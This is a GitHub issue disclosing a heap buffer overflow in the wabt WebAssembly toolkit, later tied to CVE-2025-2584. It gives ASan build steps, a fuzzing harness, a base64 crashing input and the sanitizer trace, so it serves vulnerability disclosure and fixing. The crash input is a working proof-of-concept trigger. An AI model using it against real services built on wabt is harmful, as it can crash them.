wabt icon indicating copy to clipboard operation
wabt copied to clipboard

A Heap-based Buffer Overflow in wabt::interp::(anonymous namespace)::BinaryReaderInterp::GetReturnCallDropKeepCount

Open sae-as-me opened this issue 11 months ago • 2 comments

Affected Projects

wabt v1.0.36 (https://github.com/WebAssembly/wabt)

Problem Type

CWE-122: Heap-based Buffer Overflow

Description

Details

A heap-buffer-overflow vulnerability arises in the wabt::interp::(anonymous namespace)::BinaryReaderInterp::GetReturnCallDropKeepCount function defined in wabt/src/interp/binary-reader-interp.cc at line 451. This issue occurs when processing files with certain formatting errors, due to the lack of boundary checking, resulting in read operations exceeding allocated memory and potential application crashes.

Result BinaryReaderInterp::GetReturnCallDropKeepCount(const FuncType& func_type,
                                                      Index keep_extra,
                                                      Index* out_drop_count,
                                                      Index* out_keep_count) {
  Index keep_count = static_cast<Index>(func_type.params.size()) + keep_extra;    // heap-buffer-overflow
  CHECK_RESULT(GetDropCount(keep_count, 0, out_drop_count));
  *out_drop_count += validator_.GetLocalCount();
  *out_keep_count = keep_count;
  return Result::Ok;
}

PoC

Steps to reproduce:

  1. Clone the wabt repository and build it using the following commands :
export CC='clang'
export CXX='clang++'
export CFLAGS='-fsanitize=address -g'
export CXXFLAGS='-fsanitize=address -g'

mkdir build
cd build
cmake ..
cmake --build . --parallel
cd ..
  1. Compile fuzzer using a harness of oss-fuzz:
  • Harness
#include <cstddef>
#include <cstdint>

#include <fuzzer/FuzzedDataProvider.h>

#include "wabt/binary-reader.h"
#include "wabt/interp/binary-reader-interp.h"
#include "wabt/interp/interp.h"
#include "wabt/ir.h"
#include "wabt/option-parser.h"

extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
  wabt::Errors errors;
  wabt::Features features;
  wabt::interp::ModuleDesc module;
  FuzzedDataProvider data_provider(data, size);

#define WABT_FEATURE(variable, flag, default_, help) \
  if (data_provider.ConsumeBool()) { features.enable_##variable(); }
#include "wabt/feature.def"
#undef WABT_FEATURE
  // Add only feature related options, but no logging, stop_on_first_error, etc.
  wabt::ReadBinaryOptions options(features, nullptr, false, false, false);
  std::vector<uint8_t> text = data_provider.ConsumeRemainingBytes<uint8_t>();
  ReadBinaryInterp("<fuzzer>", text.data(), text.size(), options, &errors,
                   &module);
  return 0;
}
  • Compile
clang++ -fsanitize=address,fuzzer -g -std=c++17 -I. -Ibuild -Iinclude -Ibuild/include read_binary_interp_fuzzer.cc ./build/libwabt.a -o read_binary_interp_fuzzer
  1. Run the fuzzer to trigger the segmentation fault:
echo -n "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" | base64 -d > crash
./read_binary_interp_fuzzer ./crash

The invalid read access will cause AddressSanitizer to report a segmentation fault during the execution of the post-processing logic.

Report

In this case, a error will occur when it calls the JsonturnCallDropKeepCount function for the third time.

Running: ./crash
=================================================================
==17104==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c0000000d8 at pc 0x5ba67c9e41e6 bp 0x7ffffe989df0 sp 0x7ffffe989de8
READ of size 8 at 0x60c0000000d8 thread T0
    #0 0x5ba67c9e41e5 in std::vector<wabt::Type, std::allocator<wabt::Type> >::size() const /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/stl_vector.h:919:40
    #1 0x5ba67c9c8380 in wabt::interp::(anonymous namespace)::BinaryReaderInterp::GetReturnCallDropKeepCount(wabt::interp::FuncType const&, unsigned int, unsigned int*, unsigned int*) /fuzz/project/wabt/src/interp/binary-reader-interp.cc:451:58
    #2 0x5ba67c9b814c in wabt::interp::(anonymous namespace)::BinaryReaderInterp::OnReturnCallExpr(unsigned int) /fuzz/project/wabt/src/interp/binary-reader-interp.cc:1176:3
    #3 0x5ba67cb57138 in wabt::(anonymous namespace)::BinaryReader::ReadInstructions(unsigned long, char const*) /fuzz/project/wabt/src/binary-reader.cc:965:9
    #4 0x5ba67cb6daca in wabt::(anonymous namespace)::BinaryReader::ReadFunctionBody(unsigned long) /fuzz/project/wabt/src/binary-reader.cc:714:3
    #5 0x5ba67cb2e6f0 in wabt::(anonymous namespace)::BinaryReader::ReadCodeSection(unsigned long) /fuzz/project/wabt/src/binary-reader.cc:2892:7
    #6 0x5ba67cb1b86d in wabt::(anonymous namespace)::BinaryReader::ReadSections(wabt::(anonymous namespace)::BinaryReader::ReadSectionsOptions const&) /fuzz/project/wabt/src/binary-reader.cc:3045:26
    #7 0x5ba67cb18729 in wabt::(anonymous namespace)::BinaryReader::ReadModule(wabt::(anonymous namespace)::BinaryReader::ReadModuleOptions const&) /fuzz/project/wabt/src/binary-reader.cc:3119:3
    #8 0x5ba67cb17393 in wabt::ReadBinary(void const*, unsigned long, wabt::BinaryReaderDelegate*, wabt::ReadBinaryOptions const&) /fuzz/project/wabt/src/binary-reader.cc:3141:17
    #9 0x5ba67c99e23c in wabt::interp::ReadBinaryInterp(std::basic_string_view<char, std::char_traits<char> >, void const*, unsigned long, wabt::ReadBinaryOptions const&, std::vector<wabt::Error, std::allocator<wabt::Error> >*, wabt::interp::ModuleDesc*) /fuzz/project/wabt/src/interp/binary-reader-interp.cc:1720:10
    #10 0x5ba67c9769fc in LLVMFuzzerTestOneInput /fuzz/project/read_binary_interp_fuzzer.cc:39:3
    #11 0x5ba67c89c4a3 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/fuzz/fuzzers/read_binary_interp_fuzzer+0xf74a3) (BuildId: 0523c9a929ad1a1a172afcbd151c23f6b862b007)
    #12 0x5ba67c88621f in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/fuzz/fuzzers/read_binary_interp_fuzzer+0xe121f) (BuildId: 0523c9a929ad1a1a172afcbd151c23f6b862b007)
    #13 0x5ba67c88bf76 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/fuzz/fuzzers/read_binary_interp_fuzzer+0xe6f76) (BuildId: 0523c9a929ad1a1a172afcbd151c23f6b862b007)
    #14 0x5ba67c8b5d92 in main (/fuzz/fuzzers/read_binary_interp_fuzzer+0x110d92) (BuildId: 0523c9a929ad1a1a172afcbd151c23f6b862b007)
    #15 0x7c2a11f3ad8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #16 0x7c2a11f3ae3f in __libc_start_main csu/../csu/libc-start.c:392:3
    #17 0x5ba67c880ae4 in _start (/fuzz/fuzzers/read_binary_interp_fuzzer+0xdbae4) (BuildId: 0523c9a929ad1a1a172afcbd151c23f6b862b007)

0x60c0000000d8 is located 24 bytes to the right of 128-byte region [0x60c000000040,0x60c0000000c0)
allocated by thread T0 here:
    #0 0x5ba67c9738cd in operator new(unsigned long) (/fuzz/fuzzers/read_binary_interp_fuzzer+0x1ce8cd) (BuildId: 0523c9a929ad1a1a172afcbd151c23f6b862b007)
    #1 0x5ba67c9e1289 in __gnu_cxx::new_allocator<wabt::interp::FuncType>::allocate(unsigned long, void const*) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/ext/new_allocator.h:127:27
    #2 0x5ba67c9e1210 in std::allocator_traits<std::allocator<wabt::interp::FuncType> >::allocate(std::allocator<wabt::interp::FuncType>&, unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/alloc_traits.h:464:20
    #3 0x5ba67c9e0f2f in std::_Vector_base<wabt::interp::FuncType, std::allocator<wabt::interp::FuncType> >::_M_allocate(unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/stl_vector.h:346:20
    #4 0x5ba67c9e7f69 in void std::vector<wabt::interp::FuncType, std::allocator<wabt::interp::FuncType> >::_M_realloc_insert<wabt::interp::FuncType const&>(__gnu_cxx::__normal_iterator<wabt::interp::FuncType*, std::vector<wabt::interp::FuncType, std::allocator<wabt::interp::FuncType> > >, wabt::interp::FuncType const&) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/vector.tcc:440:33
    #5 0x5ba67c9e5f44 in std::vector<wabt::interp::FuncType, std::allocator<wabt::interp::FuncType> >::push_back(wabt::interp::FuncType const&) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/stl_vector.h:1198:4
    #6 0x5ba67c9a23c0 in wabt::interp::(anonymous namespace)::BinaryReaderInterp::OnFunction(unsigned int, unsigned int) /fuzz/project/wabt/src/interp/binary-reader-interp.cc:594:15
    #7 0x5ba67cb24e00 in wabt::(anonymous namespace)::BinaryReader::ReadFunctionSection(unsigned long) /fuzz/project/wabt/src/binary-reader.cc:2701:5
    #8 0x5ba67cb1afd7 in wabt::(anonymous namespace)::BinaryReader::ReadSections(wabt::(anonymous namespace)::BinaryReader::ReadSectionsOptions const&) /fuzz/project/wabt/src/binary-reader.cc:3017:26
    #9 0x5ba67cb18729 in wabt::(anonymous namespace)::BinaryReader::ReadModule(wabt::(anonymous namespace)::BinaryReader::ReadModuleOptions const&) /fuzz/project/wabt/src/binary-reader.cc:3119:3
    #10 0x5ba67cb17393 in wabt::ReadBinary(void const*, unsigned long, wabt::BinaryReaderDelegate*, wabt::ReadBinaryOptions const&) /fuzz/project/wabt/src/binary-reader.cc:3141:17
    #11 0x5ba67c99e23c in wabt::interp::ReadBinaryInterp(std::basic_string_view<char, std::char_traits<char> >, void const*, unsigned long, wabt::ReadBinaryOptions const&, std::vector<wabt::Error, std::allocator<wabt::Error> >*, wabt::interp::ModuleDesc*) /fuzz/project/wabt/src/interp/binary-reader-interp.cc:1720:10
    #12 0x5ba67c9769fc in LLVMFuzzerTestOneInput /fuzz/project/read_binary_interp_fuzzer.cc:39:3
    #13 0x5ba67c89c4a3 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/fuzz/fuzzers/read_binary_interp_fuzzer+0xf74a3) (BuildId: 0523c9a929ad1a1a172afcbd151c23f6b862b007)
    #14 0x5ba67c88621f in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/fuzz/fuzzers/read_binary_interp_fuzzer+0xe121f) (BuildId: 0523c9a929ad1a1a172afcbd151c23f6b862b007)
    #15 0x5ba67c88bf76 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/fuzz/fuzzers/read_binary_interp_fuzzer+0xe6f76) (BuildId: 0523c9a929ad1a1a172afcbd151c23f6b862b007)
    #16 0x5ba67c8b5d92 in main (/fuzz/fuzzers/read_binary_interp_fuzzer+0x110d92) (BuildId: 0523c9a929ad1a1a172afcbd151c23f6b862b007)
    #17 0x7c2a11f3ad8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/stl_vector.h:919:40 in std::vector<wabt::Type, std::allocator<wabt::Type> >::size() const
Shadow bytes around the buggy address:
  0x0c187fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c187fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c187fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c187fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c187fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
=>0x0c187fff8010: 00 00 00 00 00 00 00 00 fa fa fa[fa]fa fa fa fa
  0x0c187fff8020: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c187fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c187fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c187fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c187fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==17104==ABORTING

sae-as-me avatar Mar 06 '25 13:03 sae-as-me

This is CVE-2025-2584 .

rathann avatar Mar 27 '25 12:03 rathann

does this rely on stop_on_first_error=false?

SoniEx2 avatar Mar 27 '25 12:03 SoniEx2